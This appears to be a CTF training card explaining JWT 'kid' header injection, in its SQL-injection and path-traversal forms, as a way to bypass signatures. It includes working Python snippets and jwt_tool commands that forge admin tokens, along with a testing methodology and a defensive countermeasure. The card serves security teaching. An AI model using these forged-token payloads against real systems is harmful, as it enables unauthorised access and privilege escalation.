Browse CTFs New CTF Sign in

JWT Kid Injection (Static Artifact): Key Identifier Header Exploitation for Signature Bypass

crypto_asymmetric Difficulty 1–5 30 min certifiable

Theory

Why This Matters

The JWT kid (Key ID) header parameter is a legitimate mechanism for key rotation and multi-tenant key management, but its implementation is frequently vulnerable to injection attacks. Bug bounty reports against major API platforms have documented SQL injection via the kid parameter allowing attackers to control which key is used for verification — effectively signing tokens with a key of their choosing. Path traversal via kid pointing to filesystem paths like /dev/null or /proc/self/environ has been demonstrated on multiple platforms, allowing signature forgery with a known empty or predictable file contents as the HMAC secret. These attacks are particularly dangerous because they combine JWT manipulation with secondary injection classes.

Core Concept

The kid (Key ID) is an optional JWT header parameter defined in RFC 7515 that hints to the recipient which key was used to sign the token. In multi-key deployments, the server uses the kid value to look up the appropriate verification key from a key store (database, file system, or in-memory map). The security requirement is that the kid lookup must be safe — it must not be injectable.

SQL injection via kid occurs when the key lookup is implemented as a dynamically constructed SQL query: SELECT key_value FROM signing_keys WHERE id = '$kid'. An attacker who controls the kid header can inject a UNION SELECT payload: ' UNION SELECT 'attacker_chosen_secret'--. The database returns the attacker's chosen string as the key value. The server then verifies the token's HMAC using this attacker-controlled key — which the attacker also used to sign the forged token. The server accepts the token as valid.

Path traversal via kid exploits filesystem-based key lookup: the server reads the signing key from a file whose path is derived from the kid value. An attacker can set kid to ../../../../dev/null (or a relative path traversal equivalent). /dev/null is always empty on Unix systems. An HMAC computed with an empty key is still a valid HMAC — it simply uses an all-zero key. The attacker signs their forged token with HMAC(empty_key, header.payload) and the server, reading /dev/null, computes the same HMAC and considers the token valid.

Other injectable kid targets include /proc/self/environ (whose contents may be partially predictable), static files served by the web server (images, CSS files whose bytes are known), and configuration files with known contents. Any file whose exact byte content is known to the attacker can serve as the HMAC secret for a forged token.

Technical Deep-Dive

SQL injection via kid — constructing the forged JWT:

# Original JWT header: {"alg":"HS256","kid":"1","typ":"JWT"}
# Forge with injected kid

python3 -c "
import base64, json, hmac, hashlib

def b64url(data):
    if isinstance(data, dict):
        data = json.dumps(data, separators=',').encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# Injected kid causes server to SELECT 'attacker_secret' as the key
header  = b64url({'alg': 'HS256', 'typ': 'JWT',
                  'kid': "' UNION SELECT 'attacker_secret'--"})
payload = b64url({'user': 'admin', 'role': 'admin'})
signing_input = f'{header}.{payload}'.encode()
secret = b'attacker_secret'   # same value injected via SQL UNION
sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
print(f'{header}.{payload}.{sig_b64}')
"

Path traversal via kid — /dev/null technique:

python3 -c "
import base64, json, hmac, hashlib

def b64url(data):
    if isinstance(data, dict):
        data = json.dumps(data, separators=',').encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header  = b64url({'alg': 'HS256', 'typ': 'JWT',
                  'kid': '../../../../dev/null'})
payload = b64url({'user': 'admin', 'role': 'admin'})
signing_input = f'{header}.{payload}'.encode()
secret = b''   # empty key — /dev/null contains 0 bytes
sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
print(f'{header}.{payload}.{sig_b64}')
"

Using jwt_tool for kid injection:

# Inject SQL into kid header parameter and test
jwt_tool "$JWT" -I -hc kid -hv "' UNION SELECT 'attacker_secret'--" 
         -S hs256 -p "attacker_secret"

# Path traversal variant
jwt_tool "$JWT" -I -hc kid -hv "../../../../dev/null" 
         -S hs256 -p ""

# -I = inject/modify header or payload claim
# -hc = header claim name to modify
# -hv = new value
# -S = signing algorithm
# -p = signing secret

Security Assessment Methodology

  1. Identify kid parameter presence — Decode the JWT header and check for the kid field. Note its current value (typically an integer or UUID). Its presence indicates server-side key selection based on this value.
  2. Test SQL injection in kid — Using jwt_tool, inject a single apostrophe into the kid value and observe the server's response. An error response (500, unusual body) suggests the value reaches a SQL query. Progress to a UNION SELECT payload.
  3. Test path traversal in kid — Inject ../../../../dev/null and sign with an empty HMAC secret. Test other traversal paths based on the server's OS: ../../../../etc/passwd is non-empty but predictable in content; compute the HMAC using its known bytes.
  4. Test null byte and encoding bypass — Some path sanitisation can be bypassed with ../../../../dev/null%00.key (null byte before expected extension), URL encoding, and double encoding.
  5. Confirm privilege escalation — For each injection that produces a different server response, construct a payload with escalated claims and confirm that the server grants the claimed privileges.
  6. Test jku and x5u header parameters — These are related JWT header parameters that specify URLs for key retrieval. Test for SSRF via these parameters in parallel with kid injection.

Defensive Countermeasure — Validate the kid header against a strict allowlist of known key identifiers (e.g., UUID format validation + database lookup with parameterised queries) before using it for any key selection; for filesystem-based lookups, resolve the path and confirm it falls within the expected key directory before reading — never use the raw kid value as a path component or SQL literal.

Common Assessment Errors

  • Testing only the /dev/null path — The path traversal technique works with any file whose exact byte content is known. Test /proc/self/environ, static web assets, and application configuration files that may be served publicly.
  • Forgetting to URL-encode the kid in the JWT header — JWT headers use JSON strings; path separators and SQL special characters must be valid JSON. Always verify the JSON is syntactically valid before Base64URL-encoding the modified header.
  • Using the wrong HMAC key byte format — For the /dev/null technique, the HMAC key is an empty byte string (b""), not the string "null" or the integer 0. Use hmac.new(b"", ...) explicitly.
  • Not testing jku/x5u parameters — kid injection and jku SSRF are related attacks in the JWT header injection family. Always check for jku, x5u, and jwk header parameters in addition to kid.
  • Stopping at a 200 response — Confirm the response body reflects the injected claims. A 200 with the original user's data indicates the injection did not change the verification key; a 200 with admin-level data confirms full exploitation.
  • Missing second-order kid injection — Some applications store the kid value during registration or token issuance and use it later. Injecting SQL into the kid at issuance time for second-order execution is a valid variant.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0007 Knowledge of authentication, authorisation, and access control methods Explains the JWT key selection mechanism and how kid injection subverts it to enable arbitrary key control
K0065 Knowledge of policy-based and role-based access controls Demonstrates how key selection injection enables forging tokens with arbitrary role claims
S0001 Skill in conducting vulnerability scans and recognising vulnerabilities in security systems Develops jwt_tool kid injection skills combining SQL injection and path traversal concepts
T0028 Conduct and/or support authorised penetration testing on enterprise network assets Provides a multi-vector JWT header injection assessment methodology

Further Reading

  • PortSwigger Web Security Academy: JWT Attacks — Injecting Self-Signed JWTs via the kid Parameter — PortSwigger Research
  • RFC 7515: JSON Web Signature (JWS) — IETF (Jones, Bradley, Sakimura)
  • jwt_tool Wiki: Attack Modes — ticarpi (GitHub)

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.